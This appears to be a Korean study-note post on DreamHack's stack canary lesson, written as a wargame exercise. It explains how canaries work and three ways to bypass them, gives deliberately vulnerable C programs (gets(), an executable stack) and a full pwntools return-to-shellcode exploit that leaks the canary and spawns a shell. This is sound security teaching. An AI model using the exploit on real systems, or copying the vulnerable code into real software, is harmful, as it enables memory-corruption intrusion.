[DreamHack] Stack Canary
스택 카나리(Stack Canary)
함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법
예제 코드
// Name: canary.c
#include <unistd.h>
int main() {
char buf[8];
read(0, buf, 32);
return 0;
}
반환주소가 덮여서 Segmentation fault 발생
한 번 더 컴파일 시
stack smashing detected, Aborted 에러 발생
-> 스택 오버플로우가 발생하여 프로세스 강제 종료 의미
어셈블이어 분석 시 변경 사항
추가된 프롤로그의 코드에 중단점 설정 후 바이너리 실행
fs:0x28의 데이터를 읽은 후 rax에 저장
fs
- 세그먼트 레지스터의 일종
- 리눅스에서 프로세스가 시작될 때 fs:0x28에 랜덤 값 저장
- 리눅스에서 Thread Local Storage(TLS)를 가르키는 포인터로 사용
ni 후 rax 확인 결과
첫 바이트가 널바이트인 8바이트 데이터
ni 후 rbp-0x8 확인 결과
추가된 에필로그의 코드에 중단점 설정 후 바이너리 실행
rbp-8에 저장한 카나리를 rcx로 옮김
rcx를 fs:0x28에 저장된 카나리와 xor
두 값이 동일하면 연산 결과: 0 -> je 조건 만족 -> main 함수 정상적 반환
두 값이 동일하지 않은 경우: 1 -> __stack_chk_fail 호출되면서 프로그램 강제 종료
버퍼 오퍼블로우로 인해 rbp-0x8에 저장된 카나리 값이 변경된 것 확인
카나리 생성 과정
카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장
각 함수마다 프롤로그와 에필로그에서 이 값을 참조
fs 값 = TLS
- 특정 시스템 콜을 사용해야만 조회, 설정 가능
arch_prctl(int code, unsigned long addr)
아래와 같은 형태로 호출하면 fs값은 addr로 설정됨
arch_prctl(ARCH_SET_FS, addr)
watch
- 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어
pwndbg> watch *(0x주소)
카나리 우회
1. 무차별 대입
x64 아키텍처: 8바이트의 카나리 생성 (NULL바이트 포함) -> 실제 7바이트
x86 아키텍처: 4바이트의 카나리 생성 (NULL바이트 포함) -> 실제 3바이트
=> 연산이 가능하긴 하지만 현실적으로 어려움
2. TLS 접근
카나리는 TLS에 전역변수로 저장됨
매 함수마다 이를 참조해서 사용함
-> TLS의 주소는 매 실행마다 바뀌지만 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있음
스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 or 조작한 카나리 값으로 스택 카나리를 덮음
=> 함수의 에필로그에 있는 카나리 검사 우회 가능
3.스택 카나리 릭
- 가장 현실적인 카나리 우회 기법
함수의 프롤로그에서 스택에 카나리 값을 저장
이를 읽어낼 수 있으면 카나리를 우회할 수 있음
// Name: bypass_canary.c
// Compile: gcc -o bypass_canary bypass_canary.c
#include <stdio.h>
#include <unistd.h>
int main() {
char memo[8];
char name[8];
printf("name : ");
read(0, name, 64);
printf("hello %s\n", name);
printf("memo : ");
read(0, memo, 64);
printf("memo %s\n", memo);
return 0;
}
실습
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
스택 프레임 정보 수집
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./r2s')
context.arch = 'amd64'
# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)
결과
카나리 스택 프레임 정보 수집
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
익스플로잇
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
-----------------------------------------------------------------------
카나리를 우회하고, 셸코드가 주입된 버퍼로 실행 흐름을 조작하는 공격 기법
사용 조건
- 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.
- 실행 흐름을 옮길 수 있다. ← 스택 버퍼 오버플로우도 여기 포함됩니다.